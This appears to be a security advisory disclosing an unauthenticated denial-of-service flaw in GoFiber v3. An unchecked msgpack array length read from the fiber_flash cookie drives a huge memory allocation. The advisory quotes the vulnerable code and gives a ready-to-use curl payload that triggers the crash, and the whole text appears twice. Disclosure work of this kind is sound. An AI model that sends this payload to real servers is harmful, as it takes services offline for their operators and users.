Summary
The use of the fiber_flash cookie can force an unbounded allocation on any server. A crafted 10-character cookie value triggers an attempt to allocate up to 85GB of memory via unvalidated msgpack deserialization. No authentication is required. Every GoFiber v3 endpoint is affected regardless of whether the application uses flash messages.
Details
Regardless of configuration, the flash cookie is checked:
func (app *App) requestHandler(rctx *fasthttp.RequestCtx) {
// Acquire context from the pool
ctx := app.AcquireCtx(rctx)
defer app.ReleaseCtx(ctx)
// Optional: Check flash messages
rawHeaders := d.Request().Header.RawHeaders()
if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) {
d.Redirect().parseAndClearFlashMessages()
}
_, err = app.next(d)
} else {
// Check if the HTTP method is valid
if ctx.getMethodInt() == -1 {
_ = ctx.SendStatus(StatusNotImplemented) //nolint:errcheck // Always return nil
return
}
// Optional: Check flash messages
rawHeaders := ctx.Request().Header.RawHeaders()
if len(rawHeaders) > 0 && bytes.Contains(rawHeaders, flashCookieNameBytes) {
ctx.Redirect().parseAndClearFlashMessages()
}
}The cookie value is hex-decoded and passed directly to msgpack deserialization with no size or content validation:
https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect.go#L371
// parseAndClearFlashMessages is a method to get flash messages before they are getting removed
func (r *Redirect) parseAndClearFlashMessages() {
// parse flash messages
cookieValue, err := hex.DecodeString(r.c.Cookies(FlashCookieName))
if err != nil {
return
}
_, err = r.c.flashMessages.UnmarshalMsg(cookieValue)
if err != nil {
return
}
r.c.Cookie(&Cookie{
Name: FlashCookieName,
Value: "",
Path: "/",
MaxAge: -1,
})
}The auto-generated tinylib/msgp deserialization reads a uint32 array header from the attacker-controlled byte stream and passes it directly to make() with no bounds check:
https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect_msgp.go#L242
// UnmarshalMsg implements msgp.Unmarshaler
func (z *redirectionMsgs) UnmarshalMsg(bts []byte) (o []byte, err error) {
var zb0002 uint32
zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts)
if err != nil {
err = msgp.WrapError(err)
return o, err
}
if cap((*z)) >= int(zb0002) {
(*z) = (*z)[:zb0002]
} else {
(*z) = make(redirectionMsgs, zb0002)
}
for zb0001 := range *z {
bts, err = (*z)[zb0001].UnmarshalMsg(bts)
if err != nil {
err = msgp.WrapError(err, zb0001)
return o, err
}
}
o = bts
return o, err
}where
zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts) translates the attacker-controlled value into the element count and make(redirectionMsgs, zb0002) performs the unbounded allocation
So we can craft a gofiber cookie that will force a huge allocation:
curl -H "Cookie: fiber_flash=dd7fffffff" http://localhost:5000/hello
The cookie val is a hex-encoded msgpack array32 header:
dd = msgpack array32 marker7fffffff = 2 147 483 647 elements
Impact
Unauthenticated remote Denial of Service (CWE-789). Anyone running a gofiber v3.0.0 or v3 server is affected. The flash cookie parsing is hardcoded.
References
Summary
The use of the
fiber_flashcookie can force an unbounded allocation on any server. A crafted 10-character cookie value triggers an attempt to allocate up to 85GB of memory via unvalidated msgpack deserialization. No authentication is required. Every GoFiber v3 endpoint is affected regardless of whether the application uses flash messages.Details
Regardless of configuration, the flash cookie is checked:
The cookie value is hex-decoded and passed directly to msgpack deserialization with no size or content validation:
https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect.go#L371
The auto-generated
tinylib/msgpdeserialization reads auint32array header from the attacker-controlled byte stream and passes it directly tomake()with no bounds check:https://github.com/gofiber/fiber/blob/f8f34f642fb3682c341ede7816e7cf861aa7df89/redirect_msgp.go#L242
where
zb0002, bts, err = msgp.ReadArrayHeaderBytes(bts)translates the attacker-controlled value into the element count andmake(redirectionMsgs, zb0002)performs the unbounded allocationSo we can craft a gofiber cookie that will force a huge allocation:
curl -H "Cookie: fiber_flash=dd7fffffff" http://localhost:5000/helloThe cookie val is a hex-encoded msgpack array32 header:
dd= msgpack array32 marker7fffffff= 2 147 483 647 elementsImpact
Unauthenticated remote Denial of Service (CWE-789). Anyone running a gofiber v3.0.0 or v3 server is affected. The flash cookie parsing is hardcoded.
References